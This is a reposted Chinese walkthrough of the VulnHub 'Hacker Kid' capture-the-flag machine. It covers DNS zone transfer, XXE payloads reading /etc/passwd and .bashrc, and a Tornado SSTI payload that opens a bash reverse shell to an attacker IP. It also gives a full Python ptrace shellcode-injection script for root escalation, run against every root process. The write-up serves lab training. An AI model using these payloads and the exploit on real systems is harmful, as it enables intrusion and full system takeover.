Hack_Kid

news2025/1/15 17:41:15

Hack_Kid

  • 靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

一、主机发现

  • 发现靶机IP为192.168.80.135

    在这里插入图片描述

二、端口扫描

  • 发现靶机开启了80、53、9999端口

    在这里插入图片描述

三、信息收集

1.访问80端口

在这里插入图片描述

2.访问9999端口
  • 根据靶场作者的提示,不需要暴力破解,所以我们要通过信息收集来获得账号密码
    在这里插入图片描述
3.寻找新思路
  • 我尝试访问80端口的各个页面,发现没有可以利用的点,后来发现在主页有下面这段话

    在这里插入图片描述

  • 说要更多的挖掘,因此尝试看一下源代码,果然发现注释中有提示,要通过get方式传递一个page_no的参数,随便传入一个值,发现页面返回了一个信息

    在这里插入图片描述

    在这里插入图片描述

  • 尝试通过BP对参数值进行爆破

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

  • 当等于21时返回的长度不一样,所以尝试访问一下

    在这里插入图片描述

四、域名发现

  • 上面的提示说有一些子域。并且还给了一个子域 hackers.blackhat.local,把这个域名加入 到hosts 文件(/etc/hosts)中

    在这里插入图片描述

  • 尝试访问hackers.blackhat.local

    在这里插入图片描述

  • 没有特别的信息,但是DIG重复了三次,dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具,所以我们尝试用dig命令挖一下

    dig axfr @192.168.80.135 blackhat.local
    

    在这里插入图片描述

  • 将域名添加到hosts文件中,然后逐一进行访问,发现hackerkid.blackhat.local这个域名是个全新的页面

    在这里插入图片描述

五、XXE

  • 随便填写信息使用BP进行抓包。发现数据是通过XML格式传输的

    在这里插入图片描述

  • 构造payload,访问/etc/passwd文件,发现saket的用户权限较高

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
    <root>
    	<name>glc</name>
        <tel>12345678888</tel>
        <email>
    	&xxe;
        </email>
        <password>glc1122</password>
    </root>
    

    在这里插入图片描述

  • .ssh 中的文件看不到,不过看到了.bashrc 文件,使用封装器的方法读取文件,然后进行base64解码

    <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
    

    在这里插入图片描述

    在这里插入图片描述

六、SSTI

  • 尝试用上面获取到的用户名密码登录9000端口的页面,发现用户名密码不对,后来将admin换成最早发现的saket用户,登陆成功

    在这里插入图片描述

  • 页面显示Tell me your name buddy,所以我们尝试通过get的方式传递名为name的参数

    在这里插入图片描述

  • 在前面进行信息收集时,我们已经知道9999端口对应的服务是Tornado,这是一个Python的Web服务框架,这个框架是可能存在SSTI模板注入的,我们先拿payload尝试一下

    {{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]   //回显报错信息证明存在SSTI模板注入
    ${8*8},{{8*8}}			//如果显示计算后的结果,证明存在SSTI模板注入
    

    在这里插入图片描述

    在这里插入图片描述

  • 利用SSTI模板注入反弹shell,在kali上监听端口,并将python反弹shell语句进行encodeURIComponent编码(将符号替换为ascii对应的Hex值,空格替换为%20)

    编码前:{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.80.129/8888 0>&1"')}}
     
    编码后:%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.129%2F8888%200%3E%261%22')%7D%7D
    

    在这里插入图片描述

    在这里插入图片描述

七、Capabilitie提权

  • Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。 这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。 如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

  • 查找具有Capabilities特殊操作权限的程序

    /usr/sbin/getcap -r / 2>/dev/null -r
    

    在这里插入图片描述

  • 通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口

    kali:python3 -m http.server 80
    
    靶机:wget http://192.168.80.129/exp.py
    
    import ctypes
    import sys
    import struct
    
    
    PTRACE_POKETEXT   = 4
    PTRACE_GETREGS    = 12
    PTRACE_SETREGS    = 13
    PTRACE_ATTACH     = 16
    PTRACE_DETACH     = 17
    
    
    class user_regs_struct(ctypes.Structure):
        _fields_ = [
            ("r15", ctypes.c_ulonglong),
            ("r14", ctypes.c_ulonglong),
            ("r13", ctypes.c_ulonglong),
            ("r12", ctypes.c_ulonglong),
            ("rbp", ctypes.c_ulonglong),
            ("rbx", ctypes.c_ulonglong),
            ("r11", ctypes.c_ulonglong),
            ("r10", ctypes.c_ulonglong),
            ("r9", ctypes.c_ulonglong),
            ("r8", ctypes.c_ulonglong),
            ("rax", ctypes.c_ulonglong),
            ("rcx", ctypes.c_ulonglong),
            ("rdx", ctypes.c_ulonglong),
            ("rsi", ctypes.c_ulonglong),
            ("rdi", ctypes.c_ulonglong),
            ("orig_rax", ctypes.c_ulonglong),
            ("rip", ctypes.c_ulonglong),
            ("cs", ctypes.c_ulonglong),
            ("eflags", ctypes.c_ulonglong),
            ("rsp", ctypes.c_ulonglong),
            ("ss", ctypes.c_ulonglong),
            ("fs_base", ctypes.c_ulonglong),
            ("gs_base", ctypes.c_ulonglong),
            ("ds", ctypes.c_ulonglong),
            ("es", ctypes.c_ulonglong),
            ("fs", ctypes.c_ulonglong),
            ("gs", ctypes.c_ulonglong),
        ]
    
    libc = ctypes.CDLL("libc.so.6")
    
    pid=int(sys.argv[1])
    
    # Define argument type and respone type.
    libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
    libc.ptrace.restype = ctypes.c_uint64
    
    # Attach to the process
    libc.ptrace(PTRACE_ATTACH, pid, None, None)
    registers=user_regs_struct()
    
    # Retrieve the value stored in registers
    libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
    
    print("Instruction Pointer: " + hex(registers.rip))
    
    print("Injecting Shellcode at: " + hex(registers.rip))
    
    # Shell code copied from exploit db.
    shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
    
    # Inject the shellcode into the running process byte by byte.
    for i in xrange(0,len(shellcode),4):
     
      # Convert the byte to little endian.
      shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
      shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
      shellcode_byte=int(shellcode_byte_little_endian,16)
     
      # Inject the byte.
      libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
    
    print("Shellcode Injected!!")
    
    # Modify the instuction pointer
    registers.rip=registers.rip+2
    
    # Set the registers
    libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
    
    print("Final Instruction Pointer: " + hex(registers.rip))
    
    # Detach from the process.
    libc.ptrace(PTRACE_DETACH, pid, None, None)
    

    在这里插入图片描述

    在这里插入图片描述

  • 找到root进程的ID号,使用python2.7命令执行exp,或者使用下面的脚本对root进程批量尝试。

    for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done
    

    在这里插入图片描述

  • netstat 查看一下是否开启监听了5600端口

    netstat -lntp | grep 5600
    

    在这里插入图片描述

  • 成功提权

    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1216227.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深眸科技革新升级OCR技术,与AI视觉实现有效融合赋能各行业应用

OCR即光学字符识别&#xff0c;是通过扫描仪或工业相机等电子设备检查打印的字符&#xff0c;并通过检测暗、亮的模式确定其形状&#xff0c;然后用字符识别方法将形状翻译成计算机文字的过程。 目前&#xff0c;随着机器视觉和人工智能技术的进一步升级&#xff0c;OCR技术实…

大数据毕业设计选题推荐-机房信息大数据平台-Hadoop-Spark-Hive

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

北邮22级信通院数电:Verilog-FPGA(9)第九周实验(4)实现寄存器74LS374

北邮22信通一枚~ 跟随课程进度更新北邮信通院数字系统设计的笔记、代码和文章 持续关注作者 迎接数电实验学习~ 获取更多文章&#xff0c;请访问专栏&#xff1a; 北邮22级信通院数电实验_青山如墨雨如画的博客-CSDN博客 目录 一.代码部分 1.1 reg_74LS374.v 1.2 reg_LS3…

渗透测试——1

1.计算机地址 计算机在网络中的地址有以下3类&#xff1a; &#xff08;1&#xff09;物理地址 物理地址相当于现实生活中的人脸&#xff0c;是不可改变的&#xff0c;独一无二的。每张网卡的物理地址是固定不变的。 物理地址由六个十六进制数组成&#xff0c;如&…

chatGPT API中参数temperature的含义是什么

在 ChatGPT API 中&#xff0c;temperature 参数用于控制回答的确定性和创造性。temperature 的值范围通常是从 0 到 1。这个参数影响模型生成回答时的随机性&#xff1a; 低温度值&#xff08;如 0 或接近 0&#xff09;&#xff1a;会导致模型生成更确定、更一致、更少出乎意…

C++面向对象编程(3)——常用关键字介绍(TODO)

本篇会逐步添加一些C的关键字&#xff0c;持续更新... 一. default 1.1 场景 如果对构造函数进行了重载&#xff0c;则编译器不会隐式的生成一个默认的构造函数&#xff0c;此时如果调用了默认构造函数会在编译时报错&#xff0c;但是很多时候我们是需要默认构造函数的。如何…

sqli-labs(2)

7. 输入?id1 --显示格式错误 ?id1" --正常 测试 ?id1“ and sleep(5) -- 发现并没有成功 ?id1) --显示格式错误继续尝试 ?id1)) -- 显示正常 测试 ?id1“ and sleep(5) -- 发现sleep执行 对于语句闭合的尝试主要从 " ()来测试 报错语句尝试发现不回显报错信息…

如何利用自动发现将现网的进程纳入到监控系统中?

进程监控是一项关键任务&#xff0c;旨在监测系统中运行的进程的性能和状态。通过有效的进程监控&#xff0c;可以实时了解进程的运行情况&#xff0c;及时发现问题并采取措施&#xff0c;确保系统的稳定性和性能。 本期EasyOps产品使用最佳实践&#xff0c;我们将为您揭晓&am…

数据结构与算法之美学习笔记:19 | 散列表(中):如何打造一个工业级水平的散列表?

目录 前言如何设计散列函数&#xff1f;装载因子过大了怎么办&#xff1f;如何避免低效的扩容&#xff1f;如何选择冲突解决方法&#xff1f;工业级散列表举例分析解答开篇内容小结 前言 本节课程思维导图&#xff1a; 今天&#xff0c;我们就来学习一下&#xff0c;如何设计一…

FPGA模块——IIC协议(FPGA做主机操作24C64)

FPGA模块——IIC协议&#xff08;FPGA做主机操作24C64&#xff09; EEPROM&#xff08;24C64&#xff09;向器件写数据时序向器件读数据时序 IIC协议FPGA主机代码IIC驱动 EEPROM&#xff08;24C64&#xff09; 掉电不丢失&#xff0c;采用固定的读写协议。数据的稳定性和可重复…

2023.11.16 hivesql高阶函数之开窗函数

目录 1.开窗函数的定义 2.数据准备 3.开窗函数之排序 需求:用三种排序方法查询学生的语文成绩排名,并降序显示 4.开窗函数分组 需求:按照科目来分类,使用三种排序方式来排序学生的成绩 5.聚合函数与分组配合使用 6.聚合函数同时和分组以及排序关键字配合使用 --需求1&…

JavaWeb Day10 案例-部门管理

目录 一、查询部门 &#xff08;一&#xff09;需求 &#xff08;二&#xff09;思路 &#xff08;三&#xff09;查询部门 &#xff08;四&#xff09;、前后端联调 二、删除 &#xff08;一&#xff09;需求 &#xff08;二&#xff09;思路 &#xff08;三&#xf…

如何深度了解汤泉场所?VR全景给你答案

天气逐步转凉&#xff0c;温泉、水会这些室内汤泉场所开始登上消费的主战场。伴随着人们物质生活水平的提高&#xff0c;人们对休闲养生会馆的要求也愈发旺盛&#xff0c;汤泉场所也逐渐从单一的洗浴开始向休闲、娱乐、保健、桑拿等多种业态形式发展&#xff0c;那么大家如何深…

安全狗云安全体系为高校提升立体化纵深防御能力

客户情况 某高校有服务器500台&#xff0c;对外站点200个&#xff0c;核心交换流量20G。 客户痛点 校园网系统分类较多&#xff0c;并且每类网站中安全级重要程度又各不相同&#xff0c;同时有多个网络出口(如&#xff1a;教育网、电信网、移动网等)&#xff0c;二级学院存在…

【java学习—十五】Thread类的有关方法(3)

文章目录 1. 基本方法2. 线程的优先级3. 进阶方法3.1. 举例3.1.1. 线程让步3.1.2. join() 方法3.1.3. sleep()方法3.1.4. stop() 方法3.1.4. isAlive() 方法 1. 基本方法 方法名作用void start()启动线程&#xff0c;并执行对象的 run() 方法run()线程在被调度时执行的操作Str…

电脑提示d3dcompiler43.dll缺失怎么解决?四种方法帮你轻松搞定!

d3dcompiler_43.dll是一个与DirectX相关的动态链接库&#xff08;DLL&#xff09;文件&#xff0c;它主要用于Windows操作系统上的图形和游戏应用程序。这个文件的主要作用是编译和解析DirectX应用程序中的图形代码。 DirectX是一个强大的图形API&#xff08;应用程序编程接口&…

flutter项目中使用阿里图标库自定义图标步骤,5分钟搞定

因为flutter自带的图标可能并不能满足业务需求&#xff0c;所以需要加入图标非常丰富的阿里图标库的支持&#xff0c;阿里图标库的地址&#xff1a;iconfont-阿里巴巴矢量图标库&#xff0c;先看一下使用阿里图标库后的效果图&#xff1a;网页端和手机端都是可以正常运行的&…

Centos7安装frps作内网穿透--实现外部访问家里群晖

实现在外可访问家用群晖 需要在外界访问家里的局域网设备&#xff0c;正常情况是需要有公网IP&#xff0c;而IPV4作为家用&#xff0c;运营商基本不给&#xff0c;除非钞能力&#xff0c;IPV6可以用&#xff0c;但是有缺陷&#xff0c;需要互访的两端都是IPV6才能访问。选择fr…

关于400G光模块的常见问题解答

最近在后台收到了很多用户咨询关于400G光模块的信息&#xff0c;那400G光模块作为当下主流的光模块类型&#xff0c;有哪些问题是备受关注的呢&#xff1f;下面来看看小易的详细解答&#xff01; 1、什么是400G QSFP-DD光模块&#xff1f; 答&#xff1a;400G光模块是指传输速…

Ubuntu16.04上安装Docker

Ubuntu16.04上安装Docker 更新 apt 包索引: sudo apt-get update安装依赖包,以便使用 HTTPS 仓库 sudo apt-get install apt-transport-https ca-certificates curl software-properties-common添加 Docker GPG 密钥 curl -fsSL https://download.docker.com/linux/ubuntu…